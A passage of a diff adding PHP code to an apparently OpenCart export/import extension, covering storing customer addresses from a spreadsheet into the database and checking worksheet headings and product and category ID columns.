+ $city = $address['city'];
+ $postcode = $address['postcode'];
+ $country_id = $address['country_id'];
+ $zone_id = $address['zone_id'];
+ if ($exist_custom_field) {
+ $custom_field = $address['custom_field'];
+ }
+ $default = $address['default'];
+ $default = ((strtoupper($default)=="TRUE") || (strtoupper($default)=="YES") || (strtoupper($default)=="ENABLED")) ? 1 : 0;
+ $sql = "INSERT INTO `".DB_PREFIX."address` ";
+ $sql .= "(`customer_id`,`firstname`,`lastname`,`company`,";
+ if ($exist_company_id) {
+ $sql .= "`company_id`,";
+ }
+ if ($exist_tax_id) {
+ $sql .= "`tax_id`,";
+ }
+ if ($exist_custom_field) {
+ $sql .= "`address_1`,`address_2`,`city`,`postcode`,`country_id`,`zone_id`,`custom_field`) ";
+ } else {
+ $sql .= "`address_1`,`address_2`,`city`,`postcode`,`country_id`,`zone_id`) ";
+ }
+ $sql .= "VALUES ($customer_id, ";
+ $sql .= "'".$this->db->escape($firstname)."', ";
+ $sql .= "'".$this->db->escape($lastname)."', ";
+ $sql .= "'".$this->db->escape($company)."', ";
+ if ($exist_company_id) {
+ $sql .= "'".$this->db->escape($company_id)."', ";
+ }
+ if ($exist_tax_id) {
+ $sql .= "'".$this->db->escape($tax_id)."', ";
+ }
+ $sql .= "'".$this->db->escape($address_1)."', ";
+ $sql .= "'".$this->db->escape($address_2)."', ";
+ $sql .= "'".$this->db->escape($city)."', ";
+ $sql .= "'".$this->db->escape($postcode)."', ";
+ if ($exist_custom_field) {
+ $sql .= "$country_id, $zone_id, '".$this->db->escape($custom_field)."'";
+ } else {
+ $sql .= "$country_id, $zone_id";
+ }
+ $sql .= ");";
+ $this->db->query( $sql );
+ if ($default) {
+ $address_id = $this->db->getLastId();
+ $sql = "UPDATE `".DB_PREFIX."customer` SET address_id='".(int)$address_id."' WHERE customer_id='".(int)$customer_id."'";
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteAddresses() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."address`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteAddress( $customer_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."address` WHERE customer_id='".(int)$customer_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteUnlistedAddresses( &$unlisted_customer_ids ) {
+ foreach ($unlisted_customer_ids as $customer_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."address` WHERE customer_id='".(int)$customer_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreAddressCells( $i, &$j, &$worksheet, &$option ) {
+ return;
+ }
+
+
+ protected function uploadAddresses( &$reader, $incremental, &$available_customer_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Addresses' );
+ if ($data==null) {
+ return;
+ }
+
+ // some fields only exist in certain OpenCart versions
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'company_id'";
+ $query = $this->db->query( $sql );
+ $exist_company_id = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'tax_id'";
+ $query = $this->db->query( $sql );
+ $exist_tax_id = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'custom_field'";
+ $query = $this->db->query( $sql );
+ $exist_custom_field = ($query->num_rows > 0) ? true : false;
+
+ // find the available country_ids indexed by country names
+ $available_country_ids = $this->getAvailableCountryIds();
+
+ // find the available zone_ids indexed by country names and zone names
+ $available_zone_ids = $this->getAvailableZoneIds();
+
+ // if incremental then find current customer IDs else delete all old addresses
+ if ($incremental) {
+ $unlisted_customer_ids = $available_customer_ids;
+ } else {
+ $this->deleteAddresses();
+ }
+
+ // load the worksheet cells and store them to the database
+ $previous_customer_id = 0;
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $customer_id = trim($this->getCell($data,$i,$j++));
+ if ($customer_id=='') {
+ continue;
+ }
+ $firstname = $this->getCell($data,$i,$j++,'');
+ $lastname = $this->getCell($data,$i,$j++,'');
+ $company = $this->getCell($data,$i,$j++,'');
+ if ($exist_company_id) {
+ $company_id = $this->getCell($data,$i,$j++,'');
+ }
+ if ($exist_tax_id) {
+ $tax_id = $this->getCell($data,$i,$j++,'');
+ }
+ $address_1 = $this->getCell($data,$i,$j++,'');
+ $address_2 = $this->getCell($data,$i,$j++,'');
+ $city = $this->getCell($data,$i,$j++,'');
+ $postcode = $this->getCell($data,$i,$j++,'');
+ $zone = $this->getCell($data,$i,$j++,'');
+ $country = $this->getCell($data,$i,$j++,'');
+ if (!isset($available_country_ids[$country])) {
+ $country = html_entity_decode($country,ENT_QUOTES,'UTF-8');
+ }
+ $country_id = isset($available_country_ids[$country]) ? $available_country_ids[$country] : 0;
+ if (!isset($available_zone_ids[$country][$zone])) {
+ $zone = html_entity_decode($zone,ENT_QUOTES,'UTF-8');
+ }
+ if (!isset($available_zone_ids[$country][$zone])) {
+ $zone = htmlentities($zone,ENT_NOQUOTES,'UTF-8');
+ }
+ if (!isset($available_zone_ids[$country][$zone])) {
+ $zone = html_entity_decode($zone,ENT_QUOTES,'UTF-8');
+ $zone = htmlentities($zone,ENT_QUOTES,'UTF-8');
+ }
+ if (!isset($available_zone_ids[$country][$zone])) {
+ $zone = html_entity_decode($zone,ENT_QUOTES,'UTF-8');
+ $zone = htmlentities($zone,ENT_NOQUOTES,'UTF-8');
+ $zone = str_replace( "'", "'", $zone );
+ }
+ $zone_id = isset($available_zone_ids[$country][$zone]) ? $available_zone_ids[$country][$zone] : 0;
+ if ($exist_custom_field) {
+ $custom_field = $this->getCell($data,$i,$j++,'');
+ }
+ $default = $this->getCell($data,$i,$j++,'no');
+ $address = array();
+ $address['customer_id'] = $customer_id;
+ $address['firstname'] = $firstname;
+ $address['lastname'] = $lastname;
+ $address['company'] = $company;
+ if ($exist_company_id) {
+ $address['company_id'] = $company_id;
+ }
+ if ($exist_tax_id) {
+ $address['tax_id'] = $tax_id;
+ }
+ $address['address_1'] = $address_1;
+ $address['address_2'] = $address_2;
+ $address['city'] = $city;
+ $address['postcode'] = $postcode;
+ $address['country_id'] = $country_id;
+ $address['zone_id'] = $zone_id;
+ if ($exist_custom_field) {
+ $address['custom_field'] = $custom_field;
+ }
+ $address['default'] = $default;
+ if (($incremental) && ($customer_id != $previous_customer_id)) {
+ $this->deleteAddress( $customer_id );
+ if (isset($unlisted_customer_ids[$customer_id])) {
+ unset($unlisted_customer_ids[$customer_id]);
+ }
+ }
+ $this->moreAddressCells( $i, $j, $data, $address );
+ $this->storeAddressIntoDatabase( $address, $exist_company_id, $exist_tax_id, $exist_custom_field );
+ $previous_customer_id = $customer_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedAddresses( $unlisted_customer_ids );
+ }
+ }
+
+
+ protected function getCell(&$worksheet,$row,$col,$default_val='') {
+// $col -= 1; // we use 1-based, PHPExcel uses 0-based column index, PhpSpreadsheet now uses 1-based column index
+ $row += 1; // we use 0-based, PhpSpreadsheet uses 1-based row index
+ $val = ($worksheet->cellExistsByColumnAndRow($col,$row)) ? $worksheet->getCellByColumnAndRow($col,$row)->getValue() : $default_val;
+ if ($val===null) {
+ $val = $default_val;
+ }
+ return $val;
+ }
+
+
+ protected function validateHeading( &$data, &$expected, &$multilingual ) {
+ $default_language_code = $this->config->get('config_language');
+ $heading = array();
+ $k = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ $i = 0;
+ for ($j=1; $j <= $k; $j+=1) {
+ $entry = $this->getCell($data,$i,$j);
+ $bracket_start = strripos( $entry, '(', 0 );
+ if ($bracket_start === false) {
+ if (in_array( $entry, $multilingual )) {
+ return false;
+ }
+ $heading[] = strtolower($entry);
+ } else {
+ $name = strtolower(substr( $entry, 0, $bracket_start ));
+ if (!in_array( $name, $multilingual )) {
+ return false;
+ }
+ $bracket_end = strripos( $entry, ')', $bracket_start );
+ if ($bracket_end <= $bracket_start) {
+ return false;
+ }
+ if ($bracket_end+1 != strlen($entry)) {
+ return false;
+ }
+ $language_code = strtolower(substr( $entry, $bracket_start+1, $bracket_end-$bracket_start-1 ));
+ if (count($heading) <= 0) {
+ return false;
+ }
+ if ($heading[count($heading)-1] != $name) {
+ $heading[] = $name;
+ }
+ }
+ }
+ for ($i=0; $i < count($expected); $i+=1) {
+ if (!isset($heading[$i])) {
+ return false;
+ }
+ if ($heading[$i] != $expected[$i]) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+
+ protected function validateCategories( &$reader ) {
+ $data = $reader->getSheetByName( 'Categories' );
+ if ($data==null) {
+ return true;
+ }
+
+ // Opencart versions from 2.0 onwards also have category_description.meta_title
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."category_description` LIKE 'meta_title'";
+ $query = $this->db->query( $sql );
+ $exist_meta_title = ($query->num_rows > 0) ? true : false;
+
+ if ($this->use_table_seo_url) {
+ if ($exist_meta_title) {
+ $expected_heading = array
+ ( "category_id", "parent_id", "name", "top", "columns", "sort_order", "image_name", "date_added", "date_modified", "description", "meta_title", "meta_description", "meta_keywords", "store_ids", "layout", "status" );
+ } else {
+ $expected_heading = array
+ ( "category_id", "parent_id", "name", "top", "columns", "sort_order", "image_name", "date_added", "date_modified", "description", "meta_description", "meta_keywords", "store_ids", "layout", "status" );
+ }
+ } else {
+ if ($exist_meta_title) {
+ $expected_heading = array
+ ( "category_id", "parent_id", "name", "top", "columns", "sort_order", "image_name", "date_added", "date_modified", "seo_keyword", "description", "meta_title", "meta_description", "meta_keywords", "store_ids", "layout", "status" );
+ } else {
+ $expected_heading = array
+ ( "category_id", "parent_id", "name", "top", "columns", "sort_order", "image_name", "date_added", "date_modified", "seo_keyword", "description", "meta_description", "meta_keywords", "store_ids", "layout", "status" );
+ }
+ }
+ if ($exist_meta_title) {
+ $expected_multilingual = array( "name", "description", "meta_title", "meta_description", "meta_keywords" );
+ } else {
+ $expected_multilingual = array( "name", "description", "meta_description", "meta_keywords" );
+ }
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateCategoryFilters( &$reader ) {
+ $data = $reader->getSheetByName( 'CategoryFilters' );
+ if ($data==null) {
+ return true;
+ }
+ if (!$this->existFilter()) {
+ throw new Exception( $this->language->get( 'error_filter_not_supported' ) );
+ }
+ if ($this->config->get('export_import_settings_use_filter_group_id')) {
+ if ($this->config->get('export_import_settings_use_filter_id')) {
+ $expected_heading = array( "category_id", "filter_group_id", "filter_id" );
+ } else {
+ $expected_heading = array( "category_id", "filter_group_id", "filter" );
+ }
+ } else {
+ if ($this->config->get('export_import_settings_use_filter_id')) {
+ $expected_heading = array( "category_id", "filter_group", "filter_id" );
+ } else {
+ $expected_heading = array( "category_id", "filter_group", "filter" );
+ }
+ }
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateCategorySEOKeywords( &$reader ) {
+ $data = $reader->getSheetByName( 'CategorySEOKeywords' );
+ if ($data==null) {
+ return true;
+ }
+ if (!$this->use_table_seo_url) {
+ throw new Exception( str_replace( '%1', 'CategorySEOKeywords', $this->language->get( 'error_seo_keywords_not_supported' ) ) );
+ }
+ $expected_heading = array( "category_id", "store_id", "keyword" );
+ $expected_multilingual = array( "keyword" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateProducts( &$reader ) {
+ $data = $reader->getSheetByName( 'Products' );
+ if ($data==null) {
+ return true;
+ }
+
+ // get list of the field names, some are only available for certain OpenCart versions
+ $query = $this->db->query( "DESCRIBE `".DB_PREFIX."product`" );
+ $product_fields = array();
+ foreach ($query->rows as $row) {
+ $product_fields[] = $row['Field'];
+ }
+
+ // Opencart versions from 2.0 onwards also have product_description.meta_title
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."product_description` LIKE 'meta_title'";
+ $query = $this->db->query( $sql );
+ $exist_meta_title = ($query->num_rows > 0) ? true : false;
+
+ $expected_heading = array
+ ( "product_id", "name", "categories", "sku", "upc" );
+ if (in_array("ean",$product_fields)) {
+ $expected_heading[] = "ean";
+ }
+ if (in_array("jan",$product_fields)) {
+ $expected_heading[] = "jan";
+ }
+ if (in_array("isbn",$product_fields)) {
+ $expected_heading[] = "isbn";
+ }
+ if (in_array("mpn",$product_fields)) {
+ $expected_heading[] = "mpn";
+ }
+ if ($this->use_table_seo_url) {
+ $expected_heading = array_merge( $expected_heading, array( "location", "quantity", "model", "manufacturer", "image_name", "shipping", "price", "price_2", "price_3", "points", "date_added", "date_modified", "date_available", "weight", "weight_unit", "length", "width", "height", "length_unit", "status", "tax_class_id", "description") );
+ } else {
+ $expected_heading = array_merge( $expected_heading, array( "location", "quantity", "model", "manufacturer", "image_name", "shipping", "price","price_2","price_3", "points", "date_added", "date_modified", "date_available", "weight", "weight_unit", "length", "width", "height", "length_unit", "status", "tax_class_id", "seo_keyword", "description") );
+ }
+ if ($exist_meta_title) {
+ $expected_heading[] = "meta_title";
+ }
+ $expected_heading = array_merge( $expected_heading, array( "meta_description", "meta_keywords", "stock_status_id", "store_ids", "layout", "related_ids", "tags", "sort_order", "subtract", "minimum" ) );
+ if ($exist_meta_title) {
+ $expected_multilingual = array( "name", "description", "meta_title", "meta_description", "meta_keywords", "tags" );
+ } else {
+ $expected_multilingual = array( "name", "description", "meta_description", "meta_keywords", "tags" );
+ }
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateAdditionalImages( &$reader ) {
+ $data = $reader->getSheetByName( 'AdditionalImages' );
+ if ($data==null) {
+ return true;
+ }
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."product_image` LIKE 'sort_order'";
+ $query = $this->db->query( $sql );
+ $exist_sort_order = ($query->num_rows > 0) ? true : false;
+ if ($exist_sort_order) {
+ $expected_heading = array( "product_id", "image", "sort_order" );
+ } else {
+ $expected_heading = array( "product_id", "image" );
+ }
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateSpecials( &$reader ) {
+ $data = $reader->getSheetByName( 'Specials' );
+ if ($data==null) {
+ return true;
+ }
+ $expected_heading = array( "product_id", "customer_group", "priority", "price", "date_start", "date_end" );
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateDiscounts( &$reader ) {
+ $data = $reader->getSheetByName( 'Discounts' );
+ if ($data==null) {
+ return true;
+ }
+ $expected_heading = array( "product_id", "customer_group", "quantity", "priority", "price", "date_start", "date_end" );
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateRewards( &$reader ) {
+ $data = $reader->getSheetByName( 'Rewards' );
+ if ($data==null) {
+ return true;
+ }
+ $expected_heading = array( "product_id", "customer_group", "points" );
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateProductOptions( &$reader ) {
+ $data = $reader->getSheetByName( 'ProductOptions' );
+ if ($data==null) {
+ return true;
+ }
+ if ($this->config->get('export_import_settings_use_option_id')) {
+ $expected_heading = array( "product_id", "option_id", "default_option_value", "required" );
+ } else {
+ $expected_heading = array( "product_id", "option", "default_option_value", "required" );
+ }
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateProductOptionValues( &$reader ) {
+ $data = $reader->getSheetByName( 'ProductOptionValues' );
+ if ($data==null) {
+ return true;
+ }
+ if ($this->config->get('export_import_settings_use_option_id')) {
+ if ($this->config->get('export_import_settings_use_option_value_id')) {
+ $expected_heading = array( "product_id", "option_id", "option_value_id", "quantity", "subtract", "price", "price_prefix", "points", "points_prefix", "weight", "weight_prefix" );
+ } else {
+ $expected_heading = array( "product_id", "option_id", "option_value", "quantity", "subtract", "price", "price_prefix", "points", "points_prefix", "weight", "weight_prefix" );
+ }
+ } else {
+ if ($this->config->get('export_import_settings_use_option_value_id')) {
+ $expected_heading = array( "product_id", "option", "option_value_id", "quantity", "subtract", "price", "price_prefix", "points", "points_prefix", "weight", "weight_prefix" );
+ } else {
+ $expected_heading = array( "product_id", "option", "option_value", "quantity", "subtract", "price", "price_prefix", "points", "points_prefix", "weight", "weight_prefix" );
+ }
+ }
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateProductAttributes( &$reader ) {
+ $data = $reader->getSheetByName( 'ProductAttributes' );
+ if ($data==null) {
+ return true;
+ }
+ if ($this->config->get('export_import_settings_use_attribute_group_id')) {
+ if ($this->config->get('export_import_settings_use_attribute_id')) {
+ $expected_heading = array( "product_id", "attribute_group_id", "attribute_id", "text" );
+ } else {
+ $expected_heading = array( "product_id", "attribute_group_id", "attribute", "text" );
+ }
+ } else {
+ if ($this->config->get('export_import_settings_use_attribute_id')) {
+ $expected_heading = array( "product_id", "attribute_group", "attribute_id", "text" );
+ } else {
+ $expected_heading = array( "product_id", "attribute_group", "attribute", "text" );
+ }
+ }
+ $expected_multilingual = array( "text" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateProductFilters( &$reader ) {
+ $data = $reader->getSheetByName( 'ProductFilters' );
+ if ($data==null) {
+ return true;
+ }
+ if (!$this->existFilter()) {
+ throw new Exception( $this->language->get( 'error_filter_not_supported' ) );
+ }
+ if ($this->config->get('export_import_settings_use_filter_group_id')) {
+ if ($this->config->get('export_import_settings_use_filter_id')) {
+ $expected_heading = array( "product_id", "filter_group_id", "filter_id" );
+ } else {
+ $expected_heading = array( "product_id", "filter_group_id", "filter" );
+ }
+ } else {
+ if ($this->config->get('export_import_settings_use_filter_id')) {
+ $expected_heading = array( "product_id", "filter_group", "filter_id" );
+ } else {
+ $expected_heading = array( "product_id", "filter_group", "filter" );
+ }
+ }
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateProductSEOKeywords( &$reader ) {
+ $data = $reader->getSheetByName( 'ProductSEOKeywords' );
+ if ($data==null) {
+ return true;
+ }
+ if (!$this->use_table_seo_url) {
+ throw new Exception( str_replace( '%1', 'ProductSEOKeywords', $this->language->get( 'error_seo_keywords_not_supported' ) ) );
+ }
+ $expected_heading = array( "product_id", "store_id", "keyword" );
+ $expected_multilingual = array( "keyword" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateOptions( &$reader ) {
+ $data = $reader->getSheetByName( 'Options' );
+ if ($data==null) {
+ return true;
+ }
+ $expected_heading = array( "option_id", "type", "sort_order", "name" );
+ $expected_multilingual = array( "name" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateOptionValues( &$reader ) {
+ $data = $reader->getSheetByName( 'OptionValues' );
+ if ($data==null) {
+ return true;
+ }
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."option_value` LIKE 'image'";
+ $query = $this->db->query( $sql );
+ $exist_image = ($query->num_rows > 0) ? true : false;
+ if ($exist_image) {
+ $expected_heading = array( "option_value_id", "option_id", "image", "sort_order", "name" );
+ } else {
+ $expected_heading = array( "option_value_id", "option_id", "sort_order", "name" );
+ }
+ $expected_multilingual = array( "name" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateAttributeGroups( &$reader ) {
+ $data = $reader->getSheetByName( 'AttributeGroups' );
+ if ($data==null) {
+ return true;
+ }
+ $expected_heading = array( "attribute_group_id", "sort_order", "name" );
+ $expected_multilingual = array( "name" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateAttributes( &$reader ) {
+ $data = $reader->getSheetByName( 'Attributes' );
+ if ($data==null) {
+ return true;
+ }
+ $expected_heading = array( "attribute_id", "attribute_group_id", "sort_order", "name" );
+ $expected_multilingual = array( "name" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateFilterGroups( &$reader ) {
+ $data = $reader->getSheetByName( 'FilterGroups' );
+ if ($data==null) {
+ return true;
+ }
+ if (!$this->existFilter()) {
+ throw new Exception( $this->language->get( 'error_filter_not_supported' ) );
+ }
+ $expected_heading = array( "filter_group_id", "sort_order", "name" );
+ $expected_multilingual = array( "name" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateFilters( &$reader ) {
+ $data = $reader->getSheetByName( 'Filters' );
+ if ($data==null) {
+ return true;
+ }
+ if (!$this->existFilter()) {
+ throw new Exception( $this->language->get( 'error_filter_not_supported' ) );
+ }
+ $expected_heading = array( "filter_id", "filter_group_id", "sort_order", "name" );
+ $expected_multilingual = array( "name" );
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateCustomers( &$reader ) {
+ $data = $reader->getSheetByName( 'Customers' );
+ if ($data==null) {
+ return true;
+ }
+
+ // Some fields are only available in newer Opencart versions
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'custom_field'";
+ $query = $this->db->query( $sql );
+ $exist_custom_field = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'salt'";
+ $query = $this->db->query( $sql );
+ $exist_salt = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'safe'";
+ $query = $this->db->query( $sql );
+ $exist_safe = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'token'";
+ $query = $this->db->query( $sql );
+ $exist_token = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'code'";
+ $query = $this->db->query( $sql );
+ $exist_code = ($query->num_rows > 0) ? true : false;
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."customer` LIKE 'approved'";
+ $query = $this->db->query( $sql );
+ $exist_approved = ($query->num_rows > 0) ? true : false;
+
+ $expected_heading = array( "customer_id", "customer_group", "store_id", "firstname", "lastname", "email", "telephone", "fax", "password" );
+ if ($exist_salt) {
+ $expected_heading[] = "salt";
+ }
+ $expected_heading = array_merge( $expected_heading, array( "cart", "wishlist", "newsletter" ) );
+ if ($exist_custom_field) {
+ $expected_heading[] = "custom_field";
+ }
+ $expected_heading = array_merge( $expected_heading, array( "ip", "status" ) );
+ if ($exist_approved) {
+ $expected_heading[] = "approved";
+ }
+ if ($exist_safe) {
+ $expected_heading[] = "safe";
+ }
+ if ($exist_token) {
+ $expected_heading[] = "token";
+ }
+ if ($exist_code) {
+ $expected_heading[] = "code";
+ }
+ $expected_heading[] = "date_added";
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateAddresses( &$reader ) {
+ $data = $reader->getSheetByName( 'Addresses' );
+ if ($data==null) {
+ return true;
+ }
+
+ // Some Opencart 1.5.x versions also have company_id
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'company_id'";
+ $query = $this->db->query( $sql );
+ $exist_company_id = ($query->num_rows > 0) ? true : false;
+
+ // Some Opencart 1.5.x versions also have tax_id
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'tax_id'";
+ $query = $this->db->query( $sql );
+ $exist_tax_id = ($query->num_rows > 0) ? true : false;
+
+ // Opencart 2.x versions have custom_field
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."address` LIKE 'custom_field'";
+ $query = $this->db->query( $sql );
+ $exist_custom_field = ($query->num_rows > 0) ? true : false;
+
+ $expected_heading = array( "customer_id", "firstname", "lastname", "company" );
+ if ($exist_company_id) {
+ $expected_heading[] = "company_id";
+ }
+ if ($exist_tax_id) {
+ $expected_heading[] = "tax_id";
+ }
+ $expected_heading = array_merge( $expected_heading, array( "address_1", "address_2", "city", "postcode", "zone", "country" ) );
+ if ($exist_custom_field) {
+ $expected_heading[] = "custom_field";
+ }
+ $expected_heading[] = "default";
+ $expected_multilingual = array();
+ return $this->validateHeading( $data, $expected_heading, $expected_multilingual );
+ }
+
+
+ protected function validateProductIdColumns( &$reader ) {
+ $data = $reader->getSheetByName( 'Products' );
+ if ($data==null) {
+ return true;
+ }
+ $ok = true;
+
+ // only unique numeric product_ids can be used, in ascending order, in worksheet 'Products'
+ $previous_product_id = 0;
+ $has_missing_product_ids = false;
+ $product_ids = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $product_id = $this->getCell($data,$i,1);
+ if ($product_id=="") {
+ if (!$has_missing_product_ids) {
+ $msg = str_replace( '%1', 'Products', $this->language->get( 'error_missing_product_id' ) );
+ $this->log->write( $msg );
+ $has_missing_product_ids = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!$this->isInteger($product_id)) {
+ $msg = str_replace( '%2', $product_id, str_replace( '%1', 'Products', $this->language->get( 'error_invalid_product_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if (in_array( $product_id, $product_ids )) {
+ $msg = str_replace( '%2', $product_id, str_replace( '%1', 'Products', $this->language->get( 'error_duplicate_product_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $product_ids[] = $product_id;
+ if ($product_id < $previous_product_id) {
+ $msg = str_replace( '%2', $product_id, str_replace( '%1', 'Products', $this->language->get( 'error_wrong_order_product_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $previous_product_id = $product_id;
+ }
+
+ // make sure product_ids are numeric entries and are also mentioned in worksheet 'Products'
+ $worksheets = array( 'AdditionalImages', 'Specials', 'Discounts', 'Rewards', 'ProductOptions', 'ProductOptionValues', 'ProductAttributes', 'ProductFilters', 'ProductSEOKeywords' );
+ foreach ($worksheets as $worksheet) {
+ $data = $reader->getSheetByName( $worksheet );
+ if ($data==null) {
+ continue;
+ }
+ $previous_product_id = 0;
+ $has_missing_product_ids = false;
+ $unlisted_product_ids = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $product_id = $this->getCell($data,$i,1);
+ if ($product_id=="") {
+ if (!$has_missing_product_ids) {
+ $msg = str_replace( '%1', $worksheet, $this->language->get( 'error_missing_product_id' ) );
+ $this->log->write( $msg );
+ $has_missing_product_ids = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!$this->isInteger($product_id)) {
+ $msg = str_replace( '%2', $product_id, str_replace( '%1', $worksheet, $this->language->get( 'error_invalid_product_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if (!in_array( $product_id, $product_ids )) {
+ if (!in_array( $product_id, $unlisted_product_ids )) {
+ $unlisted_product_ids[] = $product_id;
+ $msg = str_replace( '%2', $product_id, str_replace( '%1', $worksheet, $this->language->get( 'error_unlisted_product_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ }
+ if ($product_id < $previous_product_id) {
+ $msg = str_replace( '%2', $product_id, str_replace( '%1', $worksheet, $this->language->get( 'error_wrong_order_product_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $previous_product_id = $product_id;
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function validateCategoryIdColumns( &$reader ) {
+ $data = $reader->getSheetByName( 'Categories' );
+ if ($data==null) {
+ return true;
+ }
+ $ok = true;
+
+ // only unique numeric category_ids can be used, in ascending order, in worksheet 'Categories'
+ $previous_category_id = 0;
+ $has_missing_category_ids = false;
+ $category_ids = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $category_id = $this->getCell($data,$i,1);
+ if ($category_id=="") {
+ if (!$has_missing_category_ids) {
+ $msg = str_replace( '%1', 'Categories', $this->language->get( 'error_missing_category_id' ) );
+ $this->log->write( $msg );
+ $has_missing_category_ids = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!$this->isInteger($category_id)) {
+ $msg = str_replace( '%2', $category_id, str_replace( '%1', 'Categories', $this->language->get( 'error_invalid_category_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ if (in_array( $category_id, $category_ids )) {
+ $msg = str_replace( '%2', $category_id, str_replace( '%1', 'Categories', $this->language->get( 'error_duplicate_category_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $category_ids[] = $category_id;
+ if ($category_id < $previous_category_id) {
+ $msg = str_replace( '%2', $category_id, str_replace( '%1', 'Categories', $this->language->get( 'error_wrong_order_category_id' ) ) );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ $previous_category_id = $category_id;
+ }
+
+ // make sure category_ids are numeric entries and are also mentioned in worksheet 'Categories'
+ $worksheets = array( 'CategoryFilters', 'CategorySEOKeywords' );
+ foreach ($worksheets as $worksheet) {
+ $data = $reader->getSheetByName( $worksheet );
+ if ($data==null) {
+ continue;
+ }
+ $previous_category_id = 0;
+ $has_missing_category_ids = false;
+ $unlisted_category_ids = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $category_id = $this->getCell($data,$i,1);
